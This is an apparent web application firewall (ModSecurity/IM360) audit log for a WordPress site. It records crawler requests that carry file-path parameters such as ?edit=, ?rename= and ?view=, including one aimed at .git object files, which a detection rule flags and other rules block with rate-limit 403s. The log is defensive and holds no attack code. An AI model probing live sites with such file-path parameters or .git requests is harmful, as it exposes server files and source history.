G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/pl2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":176,"p2":1600,"p3":0,"p4":0,"p5":329,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:23.811826 +0100","transaction_id":"abPhJ1QCd8W53Be-qe990gAAAgw","remote_address":"57.141.20.44","remote_port":37208,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fd/3390da131ce98f2bb561728b420bfe48bc3196 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"8def360315b469f06c03450f8c1e983b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12096661"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8def360315b469f06c03450f8c1e983b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fd/3390da131ce98f2bb561728b420bfe48bc3196||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":343,"p2":6207,"p3":0,"p4":0,"p5":412,"sr":159,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.323384 +0100","transaction_id":"abPhPVQCd8W53Be-qe9-BAAAAg4","remote_address":"216.73.216.152","remote_port":33694,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fsource%2Ft%C3%A9l%C3%A9charger.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cde2776ee6bb4f1308d34522b0999252","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271074"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cde2776ee6bb4f1308d34522b0999252","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/template_Agrotek_jmk/source/t\\xc3\\xa9l\\xc3\\xa9charger.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":310,"p2":2888,"p3":0,"p4":0,"p5":478,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.612437 +0100","transaction_id":"abPhPVH1YMuwIMtyvU1fPwAAAc0","remote_address":"216.73.216.152","remote_port":58442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FMariage_690_1000.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1ca706de97a6f31b8c4ba82dc65af579","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8720508"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1ca706de97a6f31b8c4ba82dc65af579","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/fichiers/Mariage_690_1000.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":273,"p2":2865,"p3":0,"p4":0,"p5":472,"sr":139,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.647274 +0100","transaction_id":"abPhPTPdmgxGrrIlyaInrQAAAJQ","remote_address":"216.73.216.152","remote_port":41258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2Fthiery.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"29a54e5b0dd36410b6a11f0a30f983dc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271080"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"29a54e5b0dd36410b6a11f0a30f983dc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2.jmkconsulting-ci.com/fichiers/thiery.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":198,"p2":1904,"p3":0,"p4":0,"p5":316,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.666923 +0100","transaction_id":"abPhPTPdmgxGrrIlyaInrgAAAJQ","remote_address":"216.73.216.152","remote_port":41258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo-atito.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5d5c63fc4fe61302bb652584250adba8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2233263"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5d5c63fc4fe61302bb652584250adba8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/logo-atito.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":283,"p2":2671,"p3":0,"p4":0,"p5":464,"sr":142,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.692202 +0100","transaction_id":"abPhPTPdmgxGrrIlyaInrwAAAJQ","remote_address":"216.73.216.152","remote_port":41258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fsearch-icon.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"989839be6fbac6c6953fb384c9ac9cfa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271083"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"989839be6fbac6c6953fb384c9ac9cfa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/search-icon.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":252,"p2":2575,"p3":0,"p4":0,"p5":420,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.719447 +0100","transaction_id":"abPhPTPdmgxGrrIlyaInsAAAAJQ","remote_address":"216.73.216.152","remote_port":41258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FImage_haut_accueil.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1259f2282711a891cd25610d8f907b93","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271086"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1259f2282711a891cd25610d8f907b93","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/fichiers/Image_haut_accueil.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":313,"p2":2759,"p3":0,"p4":0,"p5":567,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.784603 +0100","transaction_id":"abPhPTPdmgxGrrIlyaInsQAAAJQ","remote_address":"216.73.216.152","remote_port":41258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Fwhite-logo.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7ea4f97248ac3c948e1c65463b975212","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271089"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7ea4f97248ac3c948e1c65463b975212","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/white-logo.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":264,"p2":2583,"p3":0,"p4":0,"p5":464,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.874393 +0100","transaction_id":"abPhPfa6lumP0T36rfGIkAAAAEk","remote_address":"216.73.216.152","remote_port":33706,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Flogo-atito.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3f7b0bd25ad4f41bb32bb32ca176f355","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271092"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3f7b0bd25ad4f41bb32bb32ca176f355","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito2.jmkconsulting-ci.com/images/logo-atito.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":245,"p2":1692,"p3":0,"p4":0,"p5":334,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:45.964780 +0100","transaction_id":"abPhPVH1YMuwIMtyvU1fQQAAAc0","remote_address":"216.73.216.152","remote_port":58442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2Fespace_banniere.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"059fc2d9424387d71f08367099096114","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8720514"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"059fc2d9424387d71f08367099096114","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/fichiers/espace_banniere.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1680,"p3":0,"p4":0,"p5":292,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.056831 +0100","transaction_id":"abPhPlQCd8W53Be-qe9-CgAAAg8","remote_address":"216.73.216.152","remote_port":58358,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Ffichiers%2FConference_690_1000.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"620e8de2532ddd8c327701ad70ffd838","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8919566"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"620e8de2532ddd8c327701ad70ffd838","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2.jmkconsulting-ci.com/fichiers/Conference_690_1000.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":193,"p2":1816,"p3":0,"p4":0,"p5":433,"sr":118,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:04:46.148290 +0100","transaction_id":"abPhPlH1YMuwIMtyvU1fQwAAAcc","remote_address":"216.73.216.152","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fimages%2Ficone.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f48cc043debe34411a2a3d2f9c22140c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15271098"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f48cc043debe34411a2a3d2f9c22140c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito2.jmkconsulting-ci.com/images/icone.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag 